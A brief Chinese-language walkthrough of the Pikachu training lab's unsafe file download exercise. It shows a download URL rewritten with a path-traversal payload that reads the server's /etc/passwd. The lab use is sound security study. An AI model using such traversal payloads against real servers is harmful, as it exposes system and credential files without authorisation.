pikachu-FileDownload
1.Unsafe Filedownload
点击球星头像即可下载图片

构造地址,下载服务器的/etc/passwd
http://192.168.1.150/pikachu-labs/vul/unsafedownload/execdownload.php?filename=kb.png
# 构造后
http://192.168.1.150/pikachu-labs/vul/unsafedownload/execdownload.php?filename=../../../../../../../../etc/passwd
